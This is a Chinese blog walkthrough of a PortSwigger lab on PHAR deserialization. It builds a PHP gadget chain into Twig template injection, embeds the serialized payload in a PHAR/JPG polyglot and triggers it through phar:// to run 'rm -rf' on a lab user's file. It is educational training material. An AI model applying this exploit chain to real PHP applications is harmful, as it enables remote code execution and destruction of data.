某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • 前言

  • 服务器端主题(翻译)

  • 客户端主题(翻译)

  • 高级主题(翻译)

  • 扩展阅读(翻译)

  • 个人学习笔记

  • 实验室做题记录

    • 实验室做题记录
    • 服务器端

    • 客户端

    • 高级主题

      • 不安全的反序列化

        • 学徒-修改序列化对象
        • 从业者-修改序列化数据类型
        • 从业者-使用应用程序功能
        • 从业者-PHP中的任意对象注入
        • 从业者-Apache Commons-Java反序列化
        • 从业者-预构建的小工具链-PHP反序列化
        • 从业者-收录在案的小工具链-Ruby反序列化
        • 专家-自定义小工具链-Java反序列化
        • 专家-自定义小工具链-PHP反序列化
        • 专家-自定义小工具链-PHAR反序列化
          • 题目
          • 实操
            • 前言
            • PHAR合并JPG问题
            • 尝试1
            • 尝试2
            • 寻找解决方案
            • 经验不足
            • 开始实验
            • CustomTemplate.php中的__destruct()
            • Blog.php中的服务端模板注入
            • 卡壳
            • 反序列化链
            • 制作载荷并完成实验
            • Twig模板命令执行
            • PHAR与JPG文件合并
            • 上传文件并通过PHAR伪协议访问
      • GraphQL API漏洞

      • 服务端模板注入

      • Web缓存投毒

      • HTTP主机头攻击

      • HTTP请求走私

      • OAuth身份验证漏洞

      • JWT攻击

      • 原型链污染

  • BurpSuite及官方实验室
  • 实验室做题记录
  • 高级主题
  • 不安全的反序列化
carsaid
2024-03-10
目录

专家-自定义小工具链-PHAR反序列化

# 实验室:使用PHAR反序列化部署自定义小工具链

# 题目

此实验室不显式使用反序列化。但是,如果你将 PHAR 反序列化与其他高级黑客技术相结合,你仍然可以通过自定义小工具链实现远程代码执行。

若要解决实验室问题,请从 Carlos 的家目录中删除morale.txt文件。

你可以使用以下凭据登录到自己的帐户:wiener:peter

实验室-专家

使用PHAR反序列化部署自定义小工具链 >>

- name: 实验室-专家
  desc: 使用PHAR反序列化部署自定义小工具链 >>
  avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
  link: https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-using-phar-deserialization-to-deploy-a-custom-gadget-chain
  bgColor: '#001350'
  textColor: '#d112fe'
1
2
3
4
5
6

# 实操

(2023)做了一半,有了点眉目,不想看答案(倔强)。

(2024)我回来复习了,顺便做掉这道当时摆烂的题。

# 前言

在写做题笔记之前,我先试着做了一遍,踩了两个坑。

# PHAR合并JPG问题

该实验室站点只允许上传 JPG 文件,不验证文件扩展名(因为上传后会重新命名文件)。但其对文件内容是否是 JPG 执行了严格验证,一张正常的 JPG 图片,只要稍微修改几个字节,就直接拒绝上传......而且还不是单纯的验证文件头,是验证整个合法的 JPG 格式(文件头 + 文件尾 + 其他关键字节)

更别提还要把 PHAR 和 JPG 文件二合一了。

# 尝试1

一开始我试图手动合并两个文件(在一个文件尾部追加另一个文件的内容)

  • 合起来以后硬是传不上去
  • 而且合起来以后 PHAR 内容貌似还失效了
# 尝试2

我试图通过制作图片马的方式来生成 PHAR + JPG 载荷:

copy i.jpg/b+myapp.phar/a myapp.jpg
1

不管我如何运行命令,结果都是一样,要么传不上去,要么 PHAR 失效。

# 寻找解决方案

然后我瞄了眼答案,找到了这样一个工具——PHAR 与 JPG 文件合并工具:https://github.com/kunte0/phar-jpg-polyglot (opens new window)

貌似是专门为此而生的......

# 经验不足

这点就真的是我自己菜了,做到一半卡住了,思路萎靡不振......看了答案(没忍住)。

下面的内容中有提到。

# 开始实验

点击 “ACCESS THE LAB” 进入实验室。

Not Found Image

先登录,在个人账户界面可以看到一个头像上传功能。

Not Found Image Not Found Image

捕获一个请求数据包,正如题目中所说,Cookie 中已经没有明显的序列化痕迹了。

Not Found Image

然后我在自己的计算机上,找到了一张可能是最小的图片,大小只有 200 字节(0.2 KB),十六进制数据只有短短的几行。

因为待会要将 PHAR 和 JPG 文件合并,所以 JPG 文件的体积要尽量小一点,防止内容影响到 PHAR 载荷的有效性。

Not Found Image

这张小图片可以正常上传,状态良好。

Not Found Image

但图片的访问并不是基于文件名的形式。添加phar://后也没有发生任何事情,反而提示 404 找不到文件。

我试图寻找其他的入口点,但整个站点只有这一个地方能够访问图片。只能死马当活马医了。

Not Found Image Not Found Image

随后我在上一级目录中发现了 2 个备份文件:CustomTemplate.php~与Blog.php~

Not Found Image

# CustomTemplate.php中的__destruct()

备份文件CustomTemplate.php~的内容如下:

  • 在实例化该类时,会分配一个变量$template_file_path,该变量存储的是一个模板文件的存储路径
  • saveTemplate()会判断锁文件是否存在,如果不存在则根据变量$template_file_path创建一个新的模板文件,并将$template的值作为文件内容。同时还会创建一个新的锁文件,防止重复创建同一模板
  • getTemplate()用于获取模板文件的内容
  • isTemplateLocked()会调用file_exists()函数来判断锁文件是否存在
  • lockFilePath()会返回锁文件的路径,锁文件的存储路径为templates/<模板文件>.lock

魔术方法__destruct()会在该对象被销毁时,自动删除锁文件。

<?php

class CustomTemplate {
    private $template_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
    }

    private function isTemplateLocked() {
        return file_exists($this->lockFilePath());
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lockFilePath(), "") === false) {
                throw new Exception("Could not write to " . $this->lockFilePath());
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        @unlink($this->lockFilePath());
    }

    private function lockFilePath()
    {
        return 'templates/' . $this->template_file_path . '.lock';
    }
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

一开始,我想出了一个利用方法,但实际不太可行:

  • 创建该对象并将$template_file_path指向/home/carlos/morale.txt
  • 但当对象被销毁时,实际删除的是/home/carlos/morale.txt.lock文件,并不能达到实验结果

# Blog.php中的服务端模板注入

备份文件Blog.php~的内容如下:

  • 此处使用了 PHP 的模板引擎 Twig

在反序列化对象时,魔术方法__wakeup()会将$desc创建为 index 模板。

在将对象作为字符串处理时,魔术方法__toString会将$user作为 user 参数传递给 index 模板。

<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
    public $user;
    public $desc;
    private $twig;

    public function __construct($user, $desc) {
        $this->user = $user;
        $this->desc = $desc;
    }

    public function __toString() {
        return $this->twig->render('index', ['user' => $this->user]);
    }

    public function __wakeup() {
        $loader = new Twig_Loader_Array([
            'index' => $this->desc,
        ]);
        $this->twig = new Twig_Environment($loader);
    }

    public function __sleep() {
        return ["user", "desc"];
    }
}

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

根据以上对象,可以构造出以下 SSTI 载荷:

<?php
    class Blog {
        public $user;
        public $desc;
    }

    $blog = new Blog();
    $blog->desc = 'Hello {{ user }}';
    $blog->user = '7*7';

    echo serialize($blog);
    // O:4:"Blog":2:{s:4:"user";s:3:"7*7";s:4:"desc";s:16:"Hello {{ user }}";}
1
2
3
4
5
6
7
8
9
10
11
12

变量$blog->desc会被加载为 index 模板,而变量$blog->user将作为 user 参数传递给该模板。另外:

  • 参数 user 的值7*7可以修改为实现代码执行的模板表达式
  • 又或是将 user 留空,直接在$desc中注入载荷

# 卡壳

然后我就卡住了:

  • 我发现了服务端模板注入
  • 也能够制作 PHAR + JPG 文件
  • 也找到了潜在的入口点avatar.php?avatar=phar://wiener

但我如何执行 Twig 表达式?如何执行 PHAR?

然后我小小瞄了一眼答案(我是 FW),看到了关键:

// 将 CustomTemplate 对象的模板存储路径指向 Blog 对象
$template_file_path = $blog;
1
2

我一开始没反应过来,因为$template_file_path是字符串,而Blog是对象。这两东西应该不会在一起才对。

然后我幡然醒悟,Blog对象中有魔术方法__toString()呀!所以这个对象可以被视为一个字符串!

经验不足经验不足,没发现。

# 反序列化链

创建以下载荷:

<?php
    class Blog {
        public $user;
        public $desc;
    }

    class CustomTemplate {
        public $template_file_path;
    }

    $blog = new Blog();
    $blog->desc = 'Hello {{ user }}';
    $blog->user = '7*7';

    $template = new CustomTemplate();
    $template->template_file_path = $blog;

    echo serialize($template);
    // O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:3:"7*7";s:4:"desc";s:16:"Hello {{ user }}";}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  1. 将序列化对象O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:3:"7*7";s:4:"desc";s:16:"Hello ";}}合并到 JPG 文件中一起上传。

  2. 通过 PHAR 伪协议访问该图像文件,序列化对象被程序加载。

  3. CustomTemplate 对象被销毁,自动调用魔术方法__destruct()并使用函数unlink()删除锁文件。

  4. 删除锁文件的时候通过lockFilePath()获取锁文件的路径,文件路径会拼接变量$template_file_path。

  5. 此时的$template_file_path是一个 Blog 对象,字符串拼接触发了 Blog 对象的魔术方法__toString()。

  6. 魔术方法__toString()会渲染 index 模板,将7*7传递给Hello 。

# 制作载荷并完成实验

# Twig模板命令执行

上面已经构造了一个恶意的 CustomTemplate 和 Blog 序列化对象。然后根据 SSTI 备忘单 (opens new window)找到 Twig 实现命令执行的载荷,修改代码:

<?php
    class Blog {
        public $user;
        public $desc;
    }

    class CustomTemplate {
        public $template_file_path;
    }

    $blog = new Blog();
    $blog->desc = '{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm -rf /home/carlos/morale.txt")}}';
    $blog->user = 'unDobin';

    $template = new CustomTemplate();
    $template->template_file_path = $blog;

    echo serialize($template);
    // O:14:"CustomTemplate":1:{s:18:"template_file_path";O:4:"Blog":2:{s:4:"user";s:7:"unDobin";s:4:"desc";s:110:"{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm -rf /home/carlos/morale.txt")}}";}}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Not Found Image

# PHAR与JPG文件合并

借助 PHAR 与 JPG 文件合并工具 (opens new window),修改主文件phar_jpg_polyglot.php,将以上代码添加到对应位置:

提示

变量$template的名称要修改为$object。

Not Found Image

运行工具,生成 PHAR 与 JPG 合成图片:

php -c ./php.ini phar_jpg_polyglot.php
1

提示

图片文件in.jpg可以替换为自己的。

运行命令之后若无产生错误信息,则out.jpg就是我们的最终文件。

Not Found Image

# 上传文件并通过PHAR伪协议访问

上传out.jpg成功,且在文件内容中可以看到恶意的序列化对象。

Not Found Image

通过伪协议phar://访问文件,依然是 404 状态码以及 “Not Found”,看起来貌似什么都没发生?

Not Found Image Not Found Image

回到实验室页面,实验已然完成!说明 PHAR 反序列化成功了!(永远不要相信站点的响应状态)

Not Found Image
编辑 (opens new window)
专家-自定义小工具链-PHP反序列化
学徒-访问私有GraphQL帖子

← 专家-自定义小工具链-PHP反序列化 学徒-访问私有GraphQL帖子→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式